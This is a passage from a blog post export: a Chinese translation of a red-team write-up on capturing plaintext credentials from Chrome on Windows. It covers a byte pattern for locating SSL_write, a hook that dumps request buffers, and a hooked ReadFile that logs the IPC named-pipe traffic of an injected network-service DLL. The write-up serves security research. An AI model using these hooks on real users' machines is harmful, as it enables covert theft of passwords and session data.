{"id":22,"date":"2022-03-25T12:58:30","date_gmt":"2022-03-25T04:58:30","guid":{"rendered":"http:\/\/www.aqwu.net\/wp\/?p=22"},"modified":"2022-04-10T22:01:34","modified_gmt":"2022-04-10T14:01:34","slug":"breaking-the-browser-ipc%e3%80%81%e5%87%ad%e8%af%81%e5%92%8c%e5%90%8e%e9%97%a8%e7%9a%84%e6%95%85%e4%ba%8b","status":"publish","type":"post","link":"https:\/\/www.aqwu.net\/wp\/?p=22","title":{"rendered":"Breaking The Browser \u2013 IPC\u3001\u51ed\u8bc1\u548c\u540e\u95e8\u7684\u6545\u4e8b"},"content":{"rendered":"\n<p>\u539f\u6587\u94fe\u63a5\uff1ahttps:\/\/www.mdsec.co.uk\/2021\/01\/breaking-the-browser-a-tale-of-ipc-credentials-and-backdoors\/<\/p>\n\n\n\n<p>Web \u6d4f\u89c8\u5668\u5929\u751f\u5c31\u53d7\u5230\u7528\u6237\u7684\u4fe1\u4efb\u3002\u4ed6\u4eec\u53d7\u8fc7\u8bad\u7ec3\uff0c\u53ef\u4ee5\u4fe1\u4efb\u201c\u5730\u5740\u680f\u4e2d\u6709\u6302\u9501\u201d\u548c\u201c\u540d\u79f0\u6b63\u786e\u201d\u7684\u7f51\u7ad9\uff0c\u8fd9\u79cd\u4fe1\u4efb\u8ba9\u7528\u6237\u5728\u5c06\u654f\u611f\u6570\u636e\u8f93\u5165\u8fd9\u4e9b\u7f51\u7ad9\u65f6\u611f\u5230\u5f88\u81ea\u5728\u3002\u4ece\u653b\u51fb\u8005\u7684\u89d2\u5ea6\u6765\u770b\uff0c\u8fd9\u79cd\u4fe1\u4efb\u662f\u4e00\u4ef6\u4e86\u4e0d\u8d77\u7684\u4e8b\u60c5\uff0c\u56e0\u4e3a\u4e00\u65e6\u60a8\u7834\u574f\u4e86\u7528\u6237\u5de5\u4f5c\u7ad9\uff0c\u5c31\u4f1a\u6709\u4e00\u4e2a\u8fdb\u7a0b\uff08\u5177\u6709\u63a5\u8fd1\u4e8e\u96f6\u7684\u4fdd\u62a4\uff09\u5904\u7406\u76f8\u5bf9\u5927\u91cf\u7684\u654f\u611f\u6570\u636e\uff0c\u540c\u65f6\u88ab\u7528\u6237\u5927\u91cf\u4f7f\u7528\u3002\u52a0\u4e0a\u5e26\u6709\u6d4f\u89c8\u5668\u6269\u5c55\u7684\u5bc6\u7801\u7ba1\u7406\u5668\uff0c\u4f60\u5c31\u6709\u4e86\u7ea2\u961f\u7684\u81ea\u7136\u76ee\u6807\u3002\u6240\u4ee5\u5f88\u81ea\u7136\u5730\uff0c\u5f53\u6211\u53d1\u73b0\u81ea\u5df1\u6709\u65f6\u95f4\u82b1\u5728\u4e00\u4e2a\u7814\u7a76\u9879\u76ee\u4e0a\u65f6\uff0c\u6211\u51b3\u5b9a\u7528\u5b83\u6765\u6ee5\u7528\u8fd9\u79cd\u4fe1\u4efb\uff01<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"general-overview\">\u603b\u4f53\u6982\u8ff0<\/h2>\n\n\n\n<p>\u6211\u51b3\u5b9a\u5b9a\u4f4d\u7684\u6d4f\u89c8\u5668\u662f\u8c37\u6b4c\u6d4f\u89c8\u5668\uff0c\u539f\u56e0\u5f88\u7b80\u5355\uff0c\u5b83\u62e5\u6709&nbsp;<a href=\"https:\/\/netmarketshare.com\/?options=%7B%22filter%22%3A%7B%22%24and%22%3A%5B%7B%22deviceType%22%3A%7B%22%24in%22%3A%5B%22Desktop%2Flaptop%22%5D%7D%7D%5D%7D%2C%22dateLabel%22%3A%22Custom%22%2C%22attributes%22%3A%22share%22%2C%22group%22%3A%22browser%22%2C%22sort%22%3A%7B%22share%22%3A-1%7D%2C%22id%22%3A%22browsersDesktop%22%2C%22dateInterval%22%3A%22Monthly%22%2C%22dateStart%22%3A%222020-01%22%2C%22dateEnd%22%3A%222020-12%22%2C%22plotKeys%22%3A%5B%7B%22browser%22%3A%22Chrome%22%7D%2C%7B%22browser%22%3A%22Edge%22%7D%2C%7B%22browser%22%3A%22Firefox%22%7D%2C%7B%22browser%22%3A%22Internet%20Explorer%22%7D%2C%7B%22browser%22%3A%22Safari%22%7D%5D%2C%22segments%22%3A%22-1000%22%7D\" target=\"_blank\" rel=\"noreferrer noopener\">\u8fd1 70%<\/a>&nbsp;\u7684\u684c\u9762\u6d4f\u89c8\u5668\u5e02\u573a\u4efd\u989d\uff0c\u56e0\u6b64\u662f\u8fc4\u4eca\u4e3a\u6b62\u6700\u53d7\u6b22\u8fce\u7684\u6d4f\u89c8\u5668\uff0c\u56e0\u6b64\u662f\u663e\u800c\u6613\u89c1\u7684\u76ee\u6807\u9009\u62e9\u3002<\/p>\n\n\n\n<p>\u4e0e\u5927\u591a\u6570\u6d4f\u89c8\u5668\u4e00\u6837\uff0cChrome \u4f7f\u7528\u591a\u8fdb\u7a0b\u67b6\u6784\uff08\u5982\u4e0b\u6240\u793a\uff09\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/chrome-multi-process.png\" alt=\"\" class=\"wp-image-2539\"\/><\/figure>\n\n\n\n<p>\u8fd9\u6837\u505a\u7684\u539f\u56e0\u662f\u4e3a\u4e86\u5b89\u5168\u6027\u548c\u53ef\u7528\u6027\uff0c\u5b83\u5141\u8bb8\u6d4f\u89c8\u5668\u7684\u7279\u5b9a\u90e8\u5206\uff08\u4f8b\u5982\u6e32\u67d3\u5668\uff09\u88ab\u6c99\u7bb1\u5316\uff0c\u540c\u65f6\u4ecd\u7136\u5141\u8bb8\u6d4f\u89c8\u5668\u7684\u5176\u4ed6\u90e8\u5206\u4e0d\u53d7\u6c99\u7bb1\u7684\u9650\u5236\u8fd0\u884c\u3002Chrome \u5206\u4e3a 7 \u4e2a\u4e0d\u540c\u7684\u90e8\u5206\uff0c\u5176\u4e2d\u6700\u91cd\u8981\u7684\u662f\u7f51\u7edc\u670d\u52a1\u3001\u5b58\u50a8\u670d\u52a1\u548c\u6e32\u67d3\u5668\u3002\u7f51\u7edc\u670d\u52a1\u6309\u7167\u5b83\u5728\u9521\u4e0a\u6240\u8bf4\u7684\u505a&#8230;&#8230;\u5b83\u5904\u7406\u4e0e\u4e92\u8054\u7f51\u7684\u901a\u4fe1\uff0c\u56e0\u6b64\u4fdd\u8bc1\u62e5\u6709\u6211\u4eec\u6240\u8ffd\u6c42\u7684\u654f\u611f\u6570\u636e\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/chrome-network-proc.png\" alt=\"\" class=\"wp-image-2540\"\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"old-fashioned-data-stealing\">\u8001\u5f0f\u7684\u6570\u636e\u7a83\u53d6<\/h2>\n\n\n\n<p>\u6211\u77e5\u9053\u6211\u7684\u76ee\u6807\u662f\u5728 Windows \u4e0a\u8fd0\u884c\u7684 Chrome\uff0c\u800c\u4e14 Windows \u6709\u81ea\u5df1\u7684\u540d\u4e3a Winsock \u7684\u5957\u63a5\u5b57\u5e93\u3002\u56e0\u6b64\uff0cChrome \u5f88\u53ef\u80fd\u4f1a\u4f7f\u7528 Winsock \u8fdb\u884c\u7f51\u7edc\u901a\u4fe1\u3002\u5927\u591a\u6570 Chrome \u4ee3\u7801\u90fd\u5b58\u50a8\u5728\u5185\u90e8&nbsp;<code>chrome.dll<\/code>&nbsp;\uff0c\u56e0\u6b64\u5c06\u5176\u52a0\u8f7d\u5230 IDA \u5e76\u67e5\u770b\u5916\u90e8\u53c2\u7167\uff0c&nbsp;<code>WSASend<\/code>&nbsp;\u6211\u53ef\u4ee5\u786e\u8ba4\u8be5\u5047\u8bbe\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/wsasend-xrefs-960x359.png\" alt=\"\" class=\"wp-image-2541\"\/><\/figure>\n\n\n\n<p>\u552f\u4e00\u7684\u95ee\u9898\u662f\uff0c\u5f53\u7528\u6237\u8fde\u63a5\u5230\u6ca1\u6709\u542f\u7528 SSL \u7684\u7ad9\u70b9\u65f6\uff0cWSASend \u53ea\u4f1a\u5305\u542b\u7eaf\u6587\u672c\u6570\u636e\uff0c\u8fd9\u4e0d\u592a\u53ef\u80fd\u662f&nbsp;<a href=\"https:\/\/scotthelme.co.uk\/alexa-top-1-million-analysis-august-2018\/\" target=\"_blank\" rel=\"noreferrer noopener\">\u6211\u4eec\u60f3\u8981\u4ece\u4e2d\u7a83\u53d6\u6570\u636e\u7684\u4efb\u4f55\u7ad9\u70b9<\/a>\u3002\u90a3\u4e48\u6211\u4eec\u5982\u4f55\u624d\u80fd\u83b7\u5f97\u76f8\u540c\u7684\u6570\u636e\uff0c\u5c31\u50cf\u52a0\u5bc6\u4e4b\u524d\u7684\u660e\u6587\u4e00\u6837\u5462\uff1f\u8ba9\u6211\u4eec\u53ea\u9488\u5bf9 SSL \u52a0\u5bc6\u529f\u80fd\u3002<\/p>\n\n\n\n<p>\u5728 Chrome \u7684\u5f00\u53d1\u8fc7\u7a0b\u4e2d\uff0cGoogle \u8ba4\u4e3a OpenSSL \u5bf9\u4ed6\u4eec\u6765\u8bf4\u8fd8\u4e0d\u591f\u597d\uff0c\u5e76\u5236\u4f5c\u4e86\u81ea\u5df1\u7684\u5206\u652f&nbsp;<a href=\"https:\/\/boringssl.googlesource.com\/boringssl\" target=\"_blank\" rel=\"noreferrer noopener\">BoringSSL<\/a>\u3002\u4ed6\u4eec\u5f88\u597d\u5730\u4fdd\u7559\u4e86\u539f\u59cb\u7684\u6838\u5fc3\u51fd\u6570\u540d\u79f0\uff0c\u8fd9\u610f\u5473\u7740&nbsp;<code>SSL_write<\/code>&nbsp;\u4f8b\u5982\uff0c\u5728 OpenSSL \u548c BoringSSL \u4e2d\u505a\u540c\u6837\u7684\u4e8b\u60c5\u3002\u5b83\u5c06\u6307\u5411\u4e00\u4e9b\u660e\u6587\u6570\u636e\u7684\u6307\u9488\u4f5c\u4e3a&nbsp;<code>buf<\/code>&nbsp;\u53c2\u6570\uff0c\u5e76\u5c06\u5176\u5199\u5165\u53c2\u6570\u6307\u5411\u7684 SSL \u6d41&nbsp;<code>ssl<\/code>&nbsp;\u3002\u8be5\u51fd\u6570\u7684\u6e90\u4ee3\u7801\u5982\u4e0b\u6240\u793a\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/sslwrite_code.png\" alt=\"\" class=\"wp-image-2542\"\/><\/figure>\n\n\n\n<p>\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u641c\u7d22\u4ee5\u4e0b\u5b57\u7b26\u4e32\u7684\u5916\u90e8\u53c2\u7167\u6765\u786e\u8ba4 Chrome \u5bf9\u5b83\u7684&nbsp;<code>SSL_write<\/code>&nbsp;\u4f7f\u7528&nbsp;<code>chrome.dll<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/sslwrite-xrefs-960x354.png\" alt=\"\" class=\"wp-image-2543\"\/><\/figure>\n\n\n\n<p>\u7ecf\u8fc7\u4e00\u756a\u67e5\u770b\u540e\uff0c\u6211\u5728 offset \u627e\u5230\u4e86\u51fd\u6570&nbsp;<code>0x0000000182ED03E0<\/code>\uff0c\u6211\u91cd\u547d\u540d\u4e86\u4e00\u4e9b\u53d8\u91cf\u548c\u51fd\u6570\u540d\u79f0\uff0c\u56e0\u6b64\u5f88\u6e05\u695a\u5b83\u662f&nbsp;<code>SSL_write<\/code>&nbsp;\u51fd\u6570\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/sslwrite_re.png\" alt=\"\" class=\"wp-image-2561\"\/><\/figure>\n\n\n\n<p>\u73b0\u5728\u6211\u4eec\u6709\u4e86\u504f\u79fb\u91cf\uff0c\u6211\u4eec\u53ef\u4ee5\u653e\u7f6e\u4e00\u4e2a\u6302\u94a9\u6765\u5c06\u8c03\u7528\u4ece\u5408\u6cd5\u8c03\u7528\u91cd\u5b9a\u5411&nbsp;<code>SSL_write<\/code>&nbsp;\u5230\u6211\u4eec\u7684&nbsp;<code>SSL_write<\/code>&nbsp;\u51fd\u6570\u3002<a href=\"https:\/\/blog.dylan.codes\/pwning-windows-event-logging\/\" target=\"_blank\" rel=\"noreferrer noopener\">\u6211\u5728\u8fc7\u53bb\u7684\u535a\u5ba2<\/a><a href=\"https:\/\/blog.dylan.codes\/pwning-windows-event-logging\/\">\u6587\u7ae0<\/a>\u4e2d\u8fd9\u6837\u505a\u8fc7&nbsp;\u3002<\/p>\n\n\n\n<p>\u6211\u5199\u4e86&nbsp;<a href=\"https:\/\/github.com\/bats3c\/ChromeTools\/blob\/main\/sslsteal\/dllmain.cpp\" target=\"_blank\" rel=\"noreferrer noopener\">\u4e00\u4e9b\u4ee3\u7801<\/a>&nbsp;\u6765\u641c\u7d22\u4ee5\u4e0b\u6a21\u5f0f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>41 56 56 57 55 53 48 83 EC 40 45 89 C6 48 89 D7 48 89 CB 48 8B 05 EE 3E DC 05 48 31 E0 48 89 44\n<\/code><\/pre>\n\n\n\n<p>\u5e76\u5c06\u5176\u66ff\u6362\u4e3a\u4ee5\u4e0b\u51fd\u6570\uff0c\u8be5\u51fd\u6570\u5c06\u4ec5\u663e\u793a\u4e00\u4e2a\u5305\u542b\u8bf7\u6c42\u6570\u636e\u7684\u6587\u672c\u6846\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>int<\/strong> <strong>SSL_write<\/strong>(<strong>void<\/strong>* ssl, <strong>void<\/strong>* buf, <strong>int<\/strong> num) {\n\tMessageBoxA(NULL, (<strong>char<\/strong>*)buf, \"SSL_write\", 0);\n    \n\t<strong>return<\/strong> Clean_SSLWrite(ssl, buf, num);\n}\n<\/code><\/pre>\n\n\n\n<p>\u6211\u5c06 DLL \u6ce8\u5165\u7f51\u7edc\u670d\u52a1\u5e76\u767b\u5f55\u5230 Outlook \u5e10\u6237\u3002\u6b63\u5982\u9884\u671f\u7684\u90a3\u6837\uff0c\u6211\u6709\u4e24\u4e2a\u5f39\u51fa\u6846\uff0c\u4e00\u4e2a\u5305\u542b\u8bf7\u6c42\u6807\u5934\uff0c\u53e6\u4e00\u4e2a\u5305\u542b POST \u6b63\u6587\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/sslwrite_box.png\" alt=\"\" class=\"wp-image-2544\"\/><\/figure>\n\n\n\n<p>\u53ea\u662f\u4e3a\u4e86\u786e\u4fdd\uff0c\u6211\u5c1d\u8bd5\u767b\u5f55\u5176\u4ed6\u51e0\u4e2a\u7f51\u7ad9\uff0c\u4e00\u5207\u4f3c\u4e4e\u90fd\u8fd0\u884c\u826f\u597d\uff0c\u76f4\u5230\u6211\u5c1d\u8bd5\u767b\u5f55\u8c37\u6b4c\u670d\u52a1\u5e76\u4e14\u6ca1\u6709\u5f97\u5230\u4e00\u4e2a\u5f39\u51fa\u6846\u3002\u6211\u4e0d\u660e\u767d\u4e3a\u4ec0\u4e48\u6211\u80fd\u591f\u6355\u83b7\u9664\u4efb\u4f55\u5230\u8c37\u6b4c\u670d\u52a1\u4e4b\u5916\u7684\u6240\u6709\u8bf7\u6c42\u3002\u5728\u505a\u4e86\u4e00\u4e9b\u7814\u7a76\u4e4b\u540e\uff0c\u6211\u53d1\u73b0\u4e86&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/QUIC\">QUIC<\/a>&nbsp;\u534f\u8bae\u3002\u4e8b\u5b9e\u8bc1\u660e\uff0c\u8c37\u6b4c\u5df2\u7ecf\u51b3\u5b9a TCP \u4e0d\u518d\u9002\u7528\u4e8e HTTP\uff0cChrome \u73b0\u5728\u5c06\u4f7f\u7528 UDP\u3002&nbsp;<em>\u53f9\u606f<\/em>\uff0c\u5f53\u7136\u2026\u2026<\/p>\n\n\n\n<p>\u4f46\u6240\u6709\u7684\u4e91\u90fd\u6709\u4e00\u7ebf\u5e0c\u671b\uff0c\u81f3\u5c11\u8fd9\u8feb\u4f7f\u6211\u627f\u8ba4 Chrome \u5b9e\u9645\u4e0a\u652f\u6301\u591a\u79cd\u4e0d\u540c\u534f\u8bae\u7684\u4e8b\u5b9e\uff0c\u6211\u5fc5\u987b\u627e\u5230\u4e00\u4e2a\u66f4\u901a\u7528\u7684\u89e3\u51b3\u65b9\u6848\u6765\u5b9e\u73b0\u6211\u7684\u76ee\u6807\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"stealing-data-in-a-multi-protocol-age\">\u5728\u591a\u534f\u8bae\u65f6\u4ee3\u7a83\u53d6\u6570\u636e<\/h2>\n\n\n\n<p>\u73b0\u5728\u5b8c\u5168\u53ef\u4ee5\u91cd\u590d\u4e0a\u8ff0\u8fc7\u7a0b\uff0c\u627e\u5230\u6bcf\u4e2a\u534f\u8bae\u7684\u5173\u952e\u51fd\u6570\u7684\u504f\u79fb\u91cf\uff0c\u7136\u540e\u653e\u7f6e\u94a9\u5b50\u3002\u4f46\u8fd9\u4f3c\u4e4e\u9700\u8981\u505a\u5f88\u591a\u5de5\u4f5c\uff0c\u5e76\u4e0d\u662f\u4e00\u79cd\u7279\u522b\u4f18\u96c5\u7684\u65b9\u6cd5\u3002\u76f8\u53cd\uff0c\u6211\u51b3\u5b9a\u9000\u540e\u4e00\u6b65\uff0c\u5bfb\u627e\u4e00\u79cd\u66f4\u6e05\u6d01\u7684\u65b9\u6cd5\u6765\u505a\u8fd9\u4ef6\u4e8b\u3002<\/p>\n\n\n\n<p>\u56de\u987e Chrome \u4f7f\u7528\u7684\u591a\u8fdb\u7a0b\u67b6\u6784\uff0c\u6211\u610f\u8bc6\u5230\u6e32\u67d3\u5668\u8fdb\u7a0b\u5fc5\u987b\u4f7f\u7528\u4e00\u79cd\u65b9\u6cd5\u5c06\u8bf7\u6c42\u4f20\u8fbe\u7ed9\u7f51\u7edc\u670d\u52a1\u5e76\u63a5\u6536\u56de\u54cd\u5e94\u3002\u6211\u53d1\u73b0&nbsp;<a href=\"https:\/\/www.youtube.com\/watch?v=39yPeiY808w\">\u4e86\u8fd9\u4e2a\u8c08\u8bdd<\/a><a href=\"http:\/\/savefrom.net\/?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D39yPeiY808w&amp;utm_source=userjs-chrome&amp;utm_medium=extensions&amp;utm_campaign=link_modifier\" target=\"_blank\" rel=\"noreferrer noopener\"><\/a>&nbsp;@NedWilliamson&nbsp;<a href=\"https:\/\/twitter.com\/NedWilliamson\">\u8be6\u7ec6<\/a>&nbsp;\u4ecb\u7ecd\u4e86 Chrome \u5982\u4f55\u4f7f\u7528\u8fdb\u7a0b\u95f4\u901a\u4fe1 (IPC) \u5728\u8fdb\u7a0b\u4e4b\u95f4\u8fdb\u884c\u901a\u4fe1\u3002\u770b\u6765\uff0c\u901a\u8fc7\u9488\u5bf9\u4e24\u4e2a\u8fdb\u7a0b\u4e4b\u95f4\u7528\u4e8e IPC \u7684\u51fd\u6570\uff0c\u6211\u73b0\u5728\u53ef\u4ee5\u7a83\u53d6\u6b63\u5728\u53d1\u9001\u548c\u63a5\u6536\u7684\u6570\u636e\uff0c\u800c\u4e0d\u7ba1\u534f\u8bae\u5982\u4f55\u3002<\/p>\n\n\n\n<p>Chrome \u5c06\u5728 IPC \u671f\u95f4\u4f7f\u7528\u591a\u4e2a\u4e0d\u540c\u7684\u7ba1\u9053\uff0c\u63a7\u5236\u7ba1\u9053\u88ab\u8c03\u7528&nbsp;<code>\\\\.\\pipe\\chromeipc<\/code>&nbsp;\uff0c\u5176\u4ed6\u7ba1\u9053\u7528\u4e8e\u4f20\u8f93\u8bf7\u6c42\u3001\u54cd\u5e94\u3001cookie\u3001\u4fdd\u5b58\u7684\u51ed\u636e\u7b49\u6570\u636e\u3002\u6211\u53d1\u73b0\u4e86\u8fd9\u4e2a\u540d\u4e3a&nbsp;<a href=\"https:\/\/github.com\/tomer8007\/chromium-ipc-sniffer\">chromium-ipc-sniffer \u7684<\/a>\u5de5\u5177&nbsp;\uff0c\u5b83\u5141\u8bb8\u6211\u4f7f\u7528 Wireshark \u6765\u55c5\u63a2\u901a\u8fc7 Chrome \u63a7\u5236\u7ba1\u9053\u53d1\u9001\u7684\u6570\u636e\u3002<\/p>\n\n\n\n<p>\u6211\u542f\u52a8\u4e86\u5b83\u2014\u2014\u53d1\u9001\u4e86\u5f88\u591a\u4e0d\u76f8\u5173\u7684\u6570\u636e\uff0c\u6240\u4ee5\u6211\u4f7f\u7528\u4e0b\u9762\u7684\u8fc7\u6ee4\u5668\u5c06\u5176\u4f18\u5316\u4e3a\u4ec5\u6211\u60f3\u770b\u5230\u7684\u901a\u4fe1\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>npfs.process_type <strong>contains<\/strong> \"Network Service\" &amp;&amp; npfs.process_type <strong>contains<\/strong> \"Broker\"\n<\/code><\/pre>\n\n\n\n<p>\u5728\u505a IPC Chrome \u4f7f\u7528&nbsp;<a href=\"https:\/\/chromium.googlesource.com\/chromium\/src\/+\/master\/mojo\/README.md\">Mojo<\/a>\u65f6\uff0c\u5b83\u662f\u4e00\u79cd\u6570\u636e\u683c\u5f0f\uff0c\u57fa\u672c\u4e0a\u53ef\u4ee5\u8ba9 Chrome \u8f7b\u677e\u4f20\u9012\u6570\u636e\u5e76\u5feb\u901f\u8c03\u7528\u5185\u90e8\u51fd\u6570\u3002\u5b83\u592a\u9177\u4e86\u3002\u5982\u4e0b\u56fe\u6240\u793a\uff0cbroker \u5c06\u8c03\u7528&nbsp;<code>URLLoaderFactory.CreateLoaderAndStart<\/code>&nbsp;\u7f51\u7edc\u670d\u52a1\u4e2d\u7684 Mojo \u65b9\u6cd5\uff0c\u5e76\u4e3a\u5176\u63d0\u4f9b HTTP \u8bf7\u6c42\u7684\u5173\u952e\u4fe1\u606f\uff0c\u4f8b\u5982\u65b9\u6cd5\u3001\u57df\u548c\u6807\u5934\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/wireshark_ipc-960x490.png\" alt=\"\" class=\"wp-image-2545\"\/><\/figure>\n\n\n\n<p>\u6e32\u67d3\u5668\u4e0d\u4f1a\u5c06\u8bf7\u6c42\u76f4\u63a5\u4f20\u9012\u7ed9\u7f51\u7edc\u670d\u52a1\uff0c\u800c\u662f\u4f7f\u7528\u4ee3\u7406\u4f5c\u4e3a\u8fd9\u4e9b\u8bf7\u6c42\u7684\u4ee3\u7406\u3002<\/p>\n\n\n\n<p>\u73b0\u5728\u6211\u4eec\u786e\u5b9a\u8bf7\u6c42\u6570\u636e\u5c06\u901a\u8fc7 IPC \u4f20\u8f93\uff0c\u662f\u65f6\u5019\u5f00\u59cb\u7a83\u53d6\u8fd9\u4e9b\u6570\u636e\u4e86\uff01\u8fd9\u6837\u505a\u5b9e\u9645\u4e0a\u975e\u5e38\u5bb9\u6613\uff0c\u56e0\u4e3a\u60a8\u53ea\u9700\u6302\u94a9\u4e00\u4e2a Windows API \u8c03\u7528\u5373\u53ef\u83b7\u53d6\u4efb\u4f55\u8bf7\u6c42\u7684\u5185\u5bb9\uff0c\u800c\u4e0d\u7ba1\u5b83\u8981\u901a\u8fc7\u4f55\u79cd\u534f\u8bae\u53d1\u9001\u3002\u8003\u8651\u4ee5\u4e0b Chrome \u81ea\u5df1\u7684\u5185\u90e8\u4ee3\u7801\u7684\u793a\u4f8b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>DWORD dwRead;\nLPVOID lpBuffer = NULL;\n\nHANDLE hPipe = CreateFile(L\"\\\\\\\\.\\\\pipe\\\\chromeipc\", \n                   GENERIC_READ, \n                   0,\n                   NULL,\n                   OPEN_EXISTING,\n                   0,\n                   NULL);\n\nwhile (hPipe != INVALID_HANDLE_VALUE)\n{\n    while (ReadFile(hPipe, lpBuffer, sizeof(lpBuffer), &amp;dwRead, NULL) != FALSE)\n    {\n        HandleMojoData(lpBuffer);\n    }\n    CloseHandle(hPipe);\n}\n<\/code><\/pre>\n\n\n\n<p>\u4e0e\u5176\u4f7f\u7528\u5b57\u8282\u6a21\u5f0f\uff08\u53ef\u80fd\u4f1a\u5728\u7248\u672c\u4e4b\u95f4\u66f4\u6539\uff09\u6765\u67e5\u627e&nbsp;<code>HandleMojoData<\/code>\uff0c\u4e3a\u4ec0\u4e48\u4e0d\u53ea\u9488\u5bf9&nbsp;<code>ReadFile<\/code>&nbsp;PEB \u4e2d\u5b58\u5728\u7684\u5730\u5740\u5e76\u4e14\u901a\u8fc7\u8c03\u7528&nbsp;<code>GetProcAddress<\/code>.&nbsp;\u6240\u4ee5\u8ba9\u6211\u4eec\u8fd9\u6837\u505a\u2014\u2014\u4e0b\u9762\u662f\u6211\u8981\u5c06\u5408\u6cd5\u51fd\u6570\u91cd\u5b9a\u5411\u5230\u7684&nbsp;<code>ReadFile<\/code>&nbsp;\u51fd\u6570\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>BOOL<\/strong> Hooked_ReadFile( HANDLE hFile,\n    LPVOID       lpBuffer,\n    DWORD        nNumberOfBytesToRead,\n    LPDWORD      lpNumberOfBytesRead,\n    LPOVERLAPPED lpOverlapped\n)\n{\n    <em>\/\/ so we can verify if the function is hooked or not<\/em>\n    <strong>if<\/strong> (hFile == (HANDLE)READFILE_HOOKED &amp;&amp; lpBuffer == NULL)\n    {\n        <strong>return<\/strong> TRUE;\n    }\n\n    WriteBufferToLog(lpBuffer, nNumberOfBytesToRead);\n\n    <strong>return<\/strong> Clean_ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped);\n}\n<\/code><\/pre>\n\n\n\n<p>\u8fd9\u4e2a\u51fd\u6570\u6240\u505a\u7684\u5c31\u662f\u5c06\u8981\u4ece\u547d\u540d\u7ba1\u9053\u5199\u5165\u7684\u6570\u636e\u8bb0\u5f55\u5230\u78c1\u76d8\u4e0a\u7684\u6587\u4ef6\u4e2d\uff0c\u7136\u540e\u8c03\u7528\u539f\u59cb&nbsp;<code>ReadFile<\/code>&nbsp;\u51fd\u6570\u3002\u6b64\u4ee3\u7801\u53ef\u5728&nbsp;<a href=\"https:\/\/github.com\/bats3c\/ChromeTools\/blob\/main\/chrometap\/wiretap\/dllmain.cpp\" target=\"_blank\" rel=\"noreferrer noopener\">\u6b64\u5904<\/a>\u627e\u5230\u3002<\/p>\n\n\n\n<p>\u6211\u8ba4\u4e3a\u91cd\u8981\u7684\u662f\u8981\u6307\u51fa\uff0c\u6211\u4e4b\u6240\u4ee5\u4e0d\u5305\u62ec Mojo \u89e3\u6790\u5668\u6765\u4ec5\u8bb0\u5f55\u8bf7\u6c42\u6570\u636e\uff0c\u800c\u662f\u8bb0\u5f55\u6240\u6709\u5185\u5bb9\uff0c\u4ec5\u4ec5\u662f\u56e0\u4e3a Chrome \u62e5\u6709\u5982\u6b64\u5e9e\u5927\u7684\u4ee3\u7801\u5e93\uff0c\u4ee5\u81f3\u4e8e\u6211\u51e0\u4e4e\u53ef\u4ee5\u80af\u5b9a HTTP \u8bf7\u6c42\u6570\u636e\u4e0d\u4f1a\u662f\u901a\u8fc7\u8fd9\u4e9b\u7ba1\u9053\u4f20\u9012\u7684\u552f\u4e00\u503c\u6570\u636e\u3002\u8003\u8651\u5230\u8fd9\u4e00\u70b9\uff0c\u8bb0\u5f55\u6240\u6709\u5185\u5bb9\u5e76\u5728\u4ee5\u540e\u89e3\u6790\u5b83\u662f\u6709\u610f\u4e49\u7684\uff0c\u800c\u4e0d\u4f1a\u6709\u6c38\u8fdc\u4e22\u5931\u6570\u636e\u7684\u98ce\u9669\u3002<\/p>\n\n\n\n<p>\u6ce8\u5165\u6302\u94a9 DLL \u5e76\u518d\u6b21\u767b\u5f55\u5230 Outlook \u540e\uff0c\u901a\u8fc7\u4e00\u4e9b grepping\uff0c\u6211\u80fd\u591f\u627e\u5230\u6211\u7528\u6765\u767b\u5f55\u7684\u51ed\u636e\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/outlook_pwd-960x368.png\" alt=\"\" class=\"wp-image-2546\"\/><\/figure>\n\n\n\n<p>\u5c1d\u8bd5\u4f7f\u7528 QUIC \u534f\u8bae\u767b\u5f55&nbsp;<a href=\"https:\/\/account.google.com\/\">https:\/\/account.google.com\/<\/a>&nbsp;&nbsp;\uff0c\u6b63\u5982\u60a8\u5728\u4e0b\u9762\u7684\u5c4f\u5e55\u622a\u56fe\u4e2d\u6240\u89c1\uff0c\u6211\u4eec\u73b0\u5728\u80fd\u591f\u7a83\u53d6\u7eaf\u6587\u672c\u51ed\u636e\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/google_pwd-960x352.png\" alt=\"\" 